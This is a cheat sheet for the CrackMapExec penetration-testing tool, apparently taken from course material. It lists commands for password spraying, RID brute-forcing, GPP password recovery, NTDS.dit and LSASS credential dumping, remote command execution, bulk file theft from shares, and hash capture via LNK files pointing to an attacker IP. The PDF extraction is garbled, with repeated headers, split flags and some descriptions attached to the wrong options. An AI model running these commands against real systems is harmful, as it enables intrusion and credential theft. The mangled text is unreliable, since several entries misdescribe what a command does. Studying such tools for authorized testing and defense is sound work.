Using Crackmapexec Module Cheat Sheet
Using Crackmapexec Module Cheat Sheet
CHEAT SHEET
Connecting to Targets
Command Description
cme [protocol] <target> Target can be a DNS, an IP, a file with IPs or
DNSs, or CIDR.
CME Output
Color Description
Magenta The username and password are valid, but the authentication is not
successful.
Command Description
By default CME will exit after a successful login is found. Using the --
-- continue-on-success flag will continue spraying even after a valid
continue- password is found.
on-success
--no- This option is only useful when <u> and <p> are both files. By default
bruteforce CME will test each user specified by <u> with all the passwords from <p>;
the option --no-bruteforce will only test one password per user line by
line.
--local- By default CME will try to authenticate to the domain controller. To use
auth local authentication on the target.
--kerberos This option will force Kerberos Authentication on the target. Require
or -k FQDN.
Exporting
Command Description
Command Description
cme smb <target> -u Testing Domain authentication on the target, continue even
<u> -p/-H <p>/<H> -- if one valid credential found.
continue-on-success
cme smb <target> -u Testing Domain authentication on the target when and
<u> -p <p> --no-
bruteforce
are both files.
cme smb <target> -u Testing Domain authentication on the target by forcing the
<u> -p <p> -d domain name Add this option to all the commands
<domain>
above if you want to force the domain
SMB Enumeration
Command Description
cme smb <target> --gen- Maps the network of live hosts and saves a list of
relay-list output.txt only the hosts that don't require SMB signing.
cme smb <target> -u <u> -p Enumerate permissions on all shares of the target.
<p> --shares
cme smb <target> -u <u> -p Enumerate users by bruteforcing the RID on the
<p> --rid-brute [MAX_RID] target. By default up to 4000.
LDAP Enumeration
Command Description
cme ldap <target> -u <u> -p <p> - Get the list of users with flag
-password-not-required PASSWD_NOTREQD.
cme ldap <target> -u <u> -p <p> - Get the list of users and computers with flag
-trusted-for-delegation TRUSTED_FOR_DELEGATION.
cme ldap <target> -u <u> -p <p> - Get objets that had the value adminCount=1.
--admin-count
RDP Enumeration
Command Description
cme rdp <target> -u <u> -p <p> -- If NLA is disabled it will allow you to take a
nla-screenshot screenshot of the login prompt.
cme rdp <target> -u <u> -p <p> -- Enumerate active sessions on the target.
screenshot
cme rdp <target> -u <u> -p <p> -- Enumerate permissions on all shares of the
screentime <SCREENTIME> target.
cme rdp <target> -u <u> -p <p> -- Enumerate active sessions on the target.
res <RESOLUTION>
Finding Accounts
Command Description
Command Description
Command Description
cme mssql <target> -u <u> -p <p> -q Perform an SQL Query againts the
<SQL_QUERY> target machine.
cme mssql <target> -u <u> -p <p> --share Get a remote file from a shared folder.
<share_name> --get-file <remote_filename>
<output_filename>
Command Description
cme mssql <target> -u <u> -p <p> --share Put a local file into a remote location.
<share_name> --put-file <local_filename>
<remote_filename>
Domain Enumeration
Command Description
cme smb <target> -u Retrieves the plaintext password and other information for
<u> -p <p> -M accounts pushed through Group Policy Preferences
gpp_password
(GPP).
cme smb <target> -u Searches the domain controller for registry.xml to find
<u> -p <p> -M autologin information and returns the username and
gpp_autologin
password.
File Operations
Command Description
cme smb <target> -u <u> -p <p> --spider Search in a remote share for a pattern.
<share_name> --pattern <pattern>
cme smb <target> -u <u> -p <p> --spider Search in a remote share using regular
<share_name> --regex <regex> expression.
cme smb <target> -u <u> -p <p> --spider Enable content search. Can be
<share_name> --content combined with --pattern or --regex.
cme smb <target> -u <u> -p <p> --share Get a remote file from a shared folder.
<share_name> --get-file
<remote_filename> <output_filename>
cme smb <target> -u <u> -p <p> --share Put a local file into a remote location.
<share_name> --put-file
<local_filename> <remote_filename>
Command Description
cme smb <target> -u <u> -p <p> -M Creates a file containing the shares and
spider_plus -o files information. We can add the option
EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL
EXCLUDE_DIR to prevent it from
looking into specific shared folders.
cme smb <target> -u <u> -p <p> -M Download all files from all shared folder.
spider_plus -o READ_ONLY=false
Command Description
Stealing Hashes
Command Description
cme smb <target> -u <u> -p <p> -M Creates windows shortcuts with the icon
slinky -o SERVER=<YOUR_IP> NAME= attribute containing a UNC path to the
<LNK_filename
specified SMB server in all shares with write
permissions.
cme smb <target> -u <u> -p <p> -M Search and delete the LNK file in all shares
slinky -o SERVER=<YOUR_IP> NAME= or the selected shared folder.
<LNK_filename CLEAN=YES
cme smb <target> -u <u> -p <p> -M Search and delete the .searchConnector-
drop-sc -o CLEANUP=True FILENAME= ms file in the selected shared folder.
<filename>
Command Execution
Command Description
cme smb <target> -u <u> -p <p> -x Execute the CMD on the target.
<command>
cme winrm <target> -u <u> -p <p> -x Execute the CMD on the target using
<command> WinRM protocol.
cme winrm <target> -u <u> -p <p> -X Execute the Powershell on the target using
<command> WinRM protocol.
cme ssh <target> -u <u> -p <p> -x Executing remote command on the target.
<command>
cme ssh <target> -u <u> -p <p> -- Using private keys as the authentication
key-file <KEY_FILE> -x <command> method.
Extracting Secrets
Command Description
cme smb <target> -u <u> -p <p> - Dump NTDS.dit on the domain controller using
-ntds drsuapi method.
cme smb <target> -u <u> -p <p> - Dump NTDS.dit on the domain controller using
-ntds vss the VSS method.
cme smb <target> -u <u> -p <p> - Dump the memory of the LSASS process with
M lsassy lsassy.
cme smb <target> -u <u> -p <p> - Dump the memory of the LSASS process with
M procdump procdump.
cme smb <target> -u <u> -p <p> - Dump the memory of the LSASS process with
M handlekatz handlekatz.
cme smb <target> -u <u> -p <p> - Dump the memory of the LSASS process with
M nanodump nanodump.
Popular Modules
Command Description
cme ldap <target> -u <u> -p <p> -M maq Get the machine account
quota for a user.
Command Description
cme ldap <target> -u <u> -p <p> -M daclread -o Read all ACEs of the target
TARGET=<username> ACTION=<read> account.
cme ldap <target> -u <u> -p <p> -M daclread -o Read all objects with
TARGET_DN=<DN> ACTION=read RIGHTS=DCSync DCSync privileges.
cme smb <target> -u <u> -p <p> -M rdp -o ACTION= Enable or Disable RDP.
<enable/disable>
Command Description
Command Description